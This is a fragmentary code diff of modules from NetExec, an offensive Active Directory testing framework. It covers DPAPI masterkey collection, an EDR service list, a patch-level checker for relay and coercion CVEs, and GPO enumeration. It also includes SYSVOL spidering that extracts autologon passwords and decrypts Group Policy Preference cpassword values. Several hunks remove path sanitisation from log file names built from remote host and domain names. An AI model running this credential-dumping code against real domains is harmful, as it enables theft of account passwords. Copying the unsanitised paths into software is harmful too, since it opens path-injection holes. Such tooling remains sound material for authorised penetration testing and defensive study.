||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=connection.dpapi_triage.target,
|
||||
conn=connection.dpapi_triage.conn,
|
||||
target=target,
|
||||
conn=conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
|
||||
@@ -127,14 +127,6 @@ conf = {
|
||||
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Arctic Wolf",
|
||||
"services": [
|
||||
{"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
|
||||
{"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Avast / AVG",
|
||||
"services": [
|
||||
|
||||
+19
-58
@@ -16,6 +16,12 @@ class NXCModule:
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
context = context
|
||||
self.module_options = module_options
|
||||
self.cve = "all"
|
||||
self.exploitation_details = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
|
||||
@@ -30,22 +36,23 @@ class NXCModule:
|
||||
- CVE-2024-49019 (EKUwu / ESC15)
|
||||
- CVE-2026-54121 (Certighost)
|
||||
- CVE-2026-27912 (ResetNightmare)
|
||||
- CVE-2026-102217 (PetitPotam WebDAV coercion)
|
||||
- KB5126646 (LDAP Signing Bypass, no CVE assigned)
|
||||
|
||||
CVE Filter for a specific CVE/KB identifier from the list above (default: All)
|
||||
CVE Filter for specific CVE number (default: All)
|
||||
EXPLOITATION Also provide sources for exploitation details (default: False)
|
||||
"""
|
||||
self.cve = module_options.get("CVE", "all").lower()
|
||||
if self.cve != "all" and self.cve not in [cve.lower() for cve in self.CVE_PATCHES]:
|
||||
context.log.fail(f"Unknown CVE '{module_options['CVE']}', supported identifiers: {', '.join(self.CVE_PATCHES)}")
|
||||
return False
|
||||
self.exploitation_details = module_options.get("EXPLOITATION", "false").lower() in ["true", "1", "yes"]
|
||||
self.listener = None
|
||||
if "CVE" in module_options:
|
||||
self.cve = module_options["CVE"].lower()
|
||||
if "EXPLOITATION" in module_options:
|
||||
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
|
||||
|
||||
def is_vulnerable(self, os_key, ubr, msrc):
|
||||
min_patched_ubr = msrc.get(os_key)
|
||||
def is_vulnerable(self, major, minor, build, ubr, msrc):
|
||||
key = (major, minor, build)
|
||||
min_patched_ubr = msrc.get(key)
|
||||
if min_patched_ubr is None:
|
||||
return None # Unknown product
|
||||
if ubr is None:
|
||||
return None
|
||||
return ubr < min_patched_ubr
|
||||
|
||||
def on_login(self, context, connection):
|
||||
@@ -78,22 +85,12 @@ class NXCModule:
|
||||
return
|
||||
|
||||
# Check each CVE
|
||||
os_version = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}"
|
||||
os_key = (connection.server_os_major, connection.server_os_minor, connection.server_os_build)
|
||||
if not any(os_key in entry["patches"] for entry in self.CVE_PATCHES.values()):
|
||||
context.log.info(f"Build {os_version} is not listed in any check, cannot determine vulnerability status")
|
||||
return
|
||||
|
||||
for cve in self.CVE_PATCHES:
|
||||
if self.cve == "all" or self.cve.lower() == cve.lower():
|
||||
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
|
||||
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
|
||||
continue
|
||||
vulnerable = self.is_vulnerable(os_key, ubr, self.CVE_PATCHES[cve]["patches"])
|
||||
if vulnerable is None:
|
||||
context.log.info(f"Cannot check {self.CVE_PATCHES[cve]['alias']}: no patched UBR known for build {os_version}")
|
||||
continue
|
||||
if vulnerable:
|
||||
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
|
||||
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
|
||||
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
|
||||
else:
|
||||
@@ -101,7 +98,7 @@ class NXCModule:
|
||||
if self.exploitation_details:
|
||||
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
|
||||
else:
|
||||
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'][os_key]})")
|
||||
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
|
||||
|
||||
# patches: key = (major, minor, build), value = minimum patched UBR
|
||||
CVE_PATCHES = {
|
||||
@@ -224,40 +221,4 @@ class NXCModule:
|
||||
"message": "Password reset of any account possible via Kerberos change password abuse",
|
||||
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
|
||||
"CVE-2026-102217": {
|
||||
"alias": "PetitPotam WebDAV coercion",
|
||||
"patches": {
|
||||
(6, 2, 9200): 26434, # Windows Server 2012
|
||||
(6, 3, 9600): 23470, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9612, # Windows Server 2016
|
||||
(10, 0, 17763): 9376, # Windows Server 2019
|
||||
(10, 0, 19044): 7807, # Windows 10 21H2
|
||||
(10, 0, 19045): 7807, # Windows 10 22H2
|
||||
(10, 0, 20348): 5761, # Windows Server 2022
|
||||
(10, 0, 22631): 7652, # Windows 11 23H2
|
||||
(10, 0, 26100): 33650, # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
|
||||
(10, 0, 26200): 9711, # Windows 11 25H2
|
||||
(10, 0, 26300): 9711, # Windows 11 26H2
|
||||
(10, 0, 28000): 3231, # Windows 11 26H1
|
||||
},
|
||||
"message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
|
||||
"exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
|
||||
},
|
||||
# https://support.microsoft.com/en-us/servicing/os/azure-marketplace/windows-server/2026/windows-server-images-for-october-2026
|
||||
"KB5126646": {
|
||||
"alias": "LDAP Signing Bypass",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(6, 2, 9200): 26434, # Windows Server 2012
|
||||
(6, 3, 9600): 23470, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9612, # Windows Server 2016
|
||||
(10, 0, 17763): 9376, # Windows Server 2019
|
||||
(10, 0, 20348): 5756, # Windows Server 2022
|
||||
(10, 0, 25398): 2331, # Windows Server 2022 23H2 (EOL)
|
||||
(10, 0, 26100): 33648, # Windows Server 2025
|
||||
},
|
||||
"message": "SMB-to-LDAP NTLM relay is possible even when LDAP signature is required",
|
||||
"exploitation": "https://specterops.io/blog/2026/10/23/ldap-signing-bypass-ntlm-relay/",
|
||||
},
|
||||
}
|
||||
@@ -1,7 +1,6 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -64,6 +63,6 @@ class NXCModule:
|
||||
context.log.highlight("\t" + d)
|
||||
data += "\t" + d + "\n"
|
||||
|
||||
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -1,6 +1,6 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
@@ -63,7 +63,7 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
|
||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
|
||||
@@ -7,9 +7,8 @@ from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
from impacket.structure import Structure
|
||||
from os.path import expanduser, join
|
||||
from os.path import expanduser
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -142,7 +141,7 @@ class NXCModule:
|
||||
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
|
||||
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
|
||||
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
with open(path, "w") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import json
|
||||
|
||||
@@ -31,6 +30,6 @@ class NXCModule:
|
||||
|
||||
data.append(cards)
|
||||
|
||||
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -0,0 +1,265 @@
|
||||
import json
|
||||
import ntpath
|
||||
import re
|
||||
import shutil
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from impacket.dcerpc.v5.lsat import DCERPCSessionError
|
||||
from nxc.config import process_secret
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.ldap import parse_ldap_timestamp, query_ldap_gpos
|
||||
from nxc.helpers.smb import get_share_security_descriptor, parse_dacl_aces
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.samrfunc import LSAQuery
|
||||
|
||||
GUID_PATTERN = re.compile(r"^\{[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}\}$")
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @Marshall-Hallenbeck
|
||||
Do things with Group Policy Objects (GPOs) in Active Directory
|
||||
"""
|
||||
|
||||
name = "gpos"
|
||||
description = "Do things with Group Policy Objects (GPOs) in Active Directory"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
self.gpo_name = None
|
||||
self.fuzzy_search = False
|
||||
self.all_props = False
|
||||
self.download = True
|
||||
self.download_dest = "Retrieved_GPOs"
|
||||
self.list_permissions = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
NAME Name of the GPO (default retrieve all GPOs)
|
||||
FUZZY Fuzzy search for name of GPOs (using wildcards)
|
||||
ALL_PROPS Retrieve all properties of the GPO (default is name, guid, and sysfile path)
|
||||
DOWNLOAD Download the GPOs to the local machine (default is True)
|
||||
DEST Destination folder for downloaded GPOs (default is "Retrieved_GPOs")
|
||||
LIST_PERMISSIONS List permissions for the GPOs (default is False)
|
||||
"""
|
||||
self.gpo_name = module_options.get("NAME")
|
||||
self.fuzzy_search = module_options.get("FUZZY", "False").lower() == "true"
|
||||
self.all_props = module_options.get("ALL_PROPS", "False").lower() == "true"
|
||||
self.download = module_options.get("DOWNLOAD", "True").lower() == "true"
|
||||
self.download_dest = module_options.get("DEST", "Retrieved_GPOs")
|
||||
self.list_permissions = module_options.get("LIST_PERMISSIONS", "False").lower() == "true"
|
||||
context.log.debug(f"Module options: {self.gpo_name=}, {self.fuzzy_search=}, {self.all_props=}, {self.download=}, {self.download_dest=}, {self.list_permissions=}")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
gpo_ldap_map = query_ldap_gpos(
|
||||
connection.host,
|
||||
connection.domain,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey,
|
||||
connection.kdcHost,
|
||||
connection.kerberos,
|
||||
context.log,
|
||||
)
|
||||
|
||||
if gpo_ldap_map is not None:
|
||||
context.log.display(f"Queried {len(gpo_ldap_map)} GPOs via LDAP, enumerating SYSVOL via SMB")
|
||||
else:
|
||||
context.log.display("LDAP query failed, falling back to SMB-only (names may show as 'Unknown')")
|
||||
|
||||
policies = connection.conn.listPath("SYSVOL", f"{connection.domain}\\Policies\\*")
|
||||
context.log.debug(f"Found policies path: {connection.domain}\\Policies")
|
||||
|
||||
gpos_found = []
|
||||
|
||||
for item in policies:
|
||||
item_name = item.get_longname()
|
||||
context.log.debug(f"Item: {item}, Item name: {item_name}")
|
||||
if item_name not in [".", ".."] and item.is_directory() and GUID_PATTERN.match(item_name):
|
||||
gpo_guid = item_name
|
||||
gpo_path = ntpath.join(f"{connection.domain}", "Policies", f"{gpo_guid}")
|
||||
|
||||
ldap_data = gpo_ldap_map.get(gpo_guid.upper()) if gpo_ldap_map else None
|
||||
display_name = ldap_data["displayName"] if ldap_data else self.get_gpo_display_name_from_sysvol(context, connection, gpo_path)
|
||||
|
||||
if self.gpo_name:
|
||||
match = self.gpo_name.lower() in display_name.lower() if self.fuzzy_search else self.gpo_name.lower() == display_name.lower()
|
||||
if not match:
|
||||
continue
|
||||
|
||||
gpos_found.append((gpo_guid, gpo_path, display_name, ldap_data))
|
||||
|
||||
context.log.success(f"GPO Found: '{display_name}'")
|
||||
context.log.highlight(f"Display Name: {display_name}")
|
||||
context.log.highlight(f"GUID: {gpo_guid}")
|
||||
context.log.highlight(f"GPO Path: \\\\SYSVOL\\{gpo_path}")
|
||||
|
||||
if self.all_props and ldap_data:
|
||||
context.log.highlight(f"Version: {ldap_data['versionNumber']}")
|
||||
context.log.highlight(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}")
|
||||
context.log.highlight(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}")
|
||||
|
||||
if self.list_permissions:
|
||||
self.get_folder_security_info(context, connection, gpo_guid, gpo_path)
|
||||
|
||||
if self.download:
|
||||
context.log.display(f"Downloading GPO {gpo_guid} from SYSVOL share")
|
||||
gpo_dest = Path(self.download_dest) / gpo_guid
|
||||
self.download_gpo(context, connection, gpo_path, gpo_dest, gpo_guid)
|
||||
|
||||
context.log.success(f"GPOs Found: {len(gpos_found)}")
|
||||
|
||||
if gpos_found:
|
||||
self.save_gpo_loot(context, connection, gpos_found)
|
||||
|
||||
def save_gpo_loot(self, context, connection, gpos_found):
|
||||
"""Save GPO information to the NXC loot directory in text and JSON format."""
|
||||
loot_dir = Path(NXC_PATH) / "modules" / "gpos" / connection.domain / connection.host
|
||||
loot_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
all_gpos_json = []
|
||||
|
||||
for gpo_guid, gpo_path, display_name, ldap_data in gpos_found:
|
||||
gpo_dir = loot_dir / gpo_guid
|
||||
gpo_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
gpo_info = {
|
||||
"guid": gpo_guid,
|
||||
"displayName": display_name,
|
||||
"sysvolPath": f"\\\\SYSVOL\\{gpo_path}",
|
||||
}
|
||||
if ldap_data:
|
||||
gpo_info["versionNumber"] = ldap_data["versionNumber"]
|
||||
gpo_info["whenCreated"] = parse_ldap_timestamp(ldap_data["whenCreated"])
|
||||
gpo_info["whenChanged"] = parse_ldap_timestamp(ldap_data["whenChanged"])
|
||||
gpo_info["gPCFileSysPath"] = ldap_data["gPCFileSysPath"]
|
||||
|
||||
all_gpos_json.append(gpo_info)
|
||||
|
||||
json_path = gpo_dir / "info.json"
|
||||
with open(json_path, "w") as f:
|
||||
json.dump(gpo_info, f, indent=4)
|
||||
|
||||
txt_path = gpo_dir / "info.txt"
|
||||
with open(txt_path, "w") as f:
|
||||
f.write(f"Display Name: {display_name}\n")
|
||||
f.write(f"GUID: {gpo_guid}\n")
|
||||
f.write(f"SYSVOL Path: \\\\SYSVOL\\{gpo_path}\n")
|
||||
if ldap_data:
|
||||
f.write(f"Version: {ldap_data['versionNumber']}\n")
|
||||
f.write(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}\n")
|
||||
f.write(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}\n")
|
||||
f.write(f"gPCFileSysPath: {ldap_data['gPCFileSysPath']}\n")
|
||||
|
||||
all_json_path = loot_dir / "gpos.json"
|
||||
with open(all_json_path, "w") as f:
|
||||
json.dump(all_gpos_json, f, indent=4)
|
||||
|
||||
all_txt_path = loot_dir / "gpos.txt"
|
||||
with open(all_txt_path, "w") as f:
|
||||
f.write(f"GPOs enumerated from {connection.domain} ({connection.host})\n")
|
||||
f.write(f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')}\n")
|
||||
f.write(f"Total: {len(all_gpos_json)}\n")
|
||||
f.write("=" * 60 + "\n\n")
|
||||
for gpo in all_gpos_json:
|
||||
f.write(f"Display Name: {gpo['displayName']}\n")
|
||||
f.write(f"GUID: {gpo['guid']}\n")
|
||||
f.write(f"SYSVOL Path: {gpo['sysvolPath']}\n")
|
||||
if "versionNumber" in gpo:
|
||||
f.write(f"Version: {gpo['versionNumber']}\n")
|
||||
f.write(f"Created: {gpo['whenCreated']}\n")
|
||||
f.write(f"Modified: {gpo['whenChanged']}\n")
|
||||
f.write("-" * 60 + "\n\n")
|
||||
|
||||
context.log.display(f"GPO info saved to {loot_dir}")
|
||||
|
||||
def get_gpo_display_name_from_sysvol(self, context, connection, gpo_path):
|
||||
"""Try to get the display name of a GPO by reading GPT.ini from SYSVOL via SMB"""
|
||||
try:
|
||||
ini_path = f"{gpo_path}\\GPT.ini"
|
||||
context.log.debug(f"GPT.ini path: {ini_path}")
|
||||
ini_content = bytearray()
|
||||
|
||||
def callback(data):
|
||||
ini_content.extend(data)
|
||||
|
||||
connection.conn.getFile("SYSVOL", ini_path, callback)
|
||||
ini_text = ini_content.decode("utf-8", errors="replace")
|
||||
|
||||
for line in ini_text.splitlines():
|
||||
if line.lower().startswith("displayname="):
|
||||
return line.strip().split("=", 1)[1]
|
||||
|
||||
return "Unknown"
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not read GPO display name: {e}")
|
||||
return ntpath.basename(gpo_path)
|
||||
|
||||
def download_gpo(self, context, smb_conn, sysvol_path, dest_folder, guid):
|
||||
"""Download a GPO from the SYSVOL share using the appropriate method"""
|
||||
context.log.debug(f"Downloading GPO {guid} from {sysvol_path} to {dest_folder}")
|
||||
|
||||
original_share = smb_conn.args.share
|
||||
|
||||
try:
|
||||
smb_conn.args.share = "SYSVOL"
|
||||
smb_conn.download_folder(sysvol_path, dest_folder, recursive=True)
|
||||
context.log.success(f"GPO {guid} downloaded to {dest_folder}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error downloading GPO {guid}: {e}")
|
||||
if Path(dest_folder).exists():
|
||||
try:
|
||||
shutil.rmtree(dest_folder)
|
||||
except Exception as cleanup_error:
|
||||
context.log.debug(f"Error cleaning up directory: {cleanup_error}")
|
||||
|
||||
context.log.highlight("To manually download this GPO, use the following command:")
|
||||
context.log.highlight(f"nxc smb {smb_conn.host} -u '{smb_conn.username}' -p '{process_secret(smb_conn.password)}' --share SYSVOL --get-folder '{sysvol_path}' '{dest_folder}' --recursive")
|
||||
finally:
|
||||
smb_conn.args.share = original_share
|
||||
|
||||
def get_folder_security_info(self, context, connection, gpo_guid, gpo_path):
|
||||
"""Get security information for a GPO folder and analyze permissions."""
|
||||
context.log.debug(f"Getting security info for GPO path: {gpo_path}")
|
||||
|
||||
sd = get_share_security_descriptor(connection, "SYSVOL", gpo_path)
|
||||
context.log.success("Retrieved security information")
|
||||
|
||||
try:
|
||||
lsa_query = LSAQuery(connection=connection, logger=context.log)
|
||||
except Exception as lsa_error:
|
||||
context.log.debug(f"Error creating LSAQuery: {lsa_error}")
|
||||
return
|
||||
|
||||
def resolve_sid(sid):
|
||||
try:
|
||||
return lsa_query.lookup_sids([sid])[0]
|
||||
except DCERPCSessionError as e:
|
||||
context.log.debug(f"Error looking up SID {sid}: {e}")
|
||||
return "Unknown (potentially deleted user)"
|
||||
|
||||
parsed = parse_dacl_aces(sd, sid_resolver=resolve_sid)
|
||||
if not parsed:
|
||||
return
|
||||
|
||||
context.log.highlight(f"Security Descriptor for GPO {gpo_guid}:")
|
||||
|
||||
if parsed["owner"]["sid"]:
|
||||
context.log.highlight(f" Owner SID: {parsed['owner']['sid']} - {parsed['owner']['name']}")
|
||||
if parsed["group"]["sid"]:
|
||||
context.log.highlight(f" Group SID: {parsed['group']['sid']} - {parsed['group']['name']}")
|
||||
|
||||
if not parsed["aces"]:
|
||||
context.log.highlight(" No DACL found - no access restrictions")
|
||||
return
|
||||
|
||||
context.log.highlight(f" DACL: {len(parsed['aces'])} ACEs (Access Control Entries)")
|
||||
for i, ace in enumerate(parsed["aces"]):
|
||||
perm_str = ", ".join(ace["permissions"]) if ace["permissions"] else f"0x{ace['raw_mask']:08x}"
|
||||
context.log.highlight(f" ACE {i + 1}: {ace['ace_type']}")
|
||||
context.log.highlight(f" SID: {ace['sid']} - {ace['sid_name']}")
|
||||
context.log.highlight(f" Permissions: {perm_str}")
|
||||
@@ -15,40 +15,45 @@ class NXCModule:
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Searching SYSVOL share for Registry.xml")
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for Registry.xml")
|
||||
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
|
||||
xml_section = xml.findall(".//Properties")
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
xml_section = xml.findall(".//Properties")
|
||||
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
+62
-57
@@ -21,77 +21,82 @@ class NXCModule:
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
|
||||
sysvol = share["name"]
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
paths = connection.spider(
|
||||
sysvol,
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(sysvol, path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
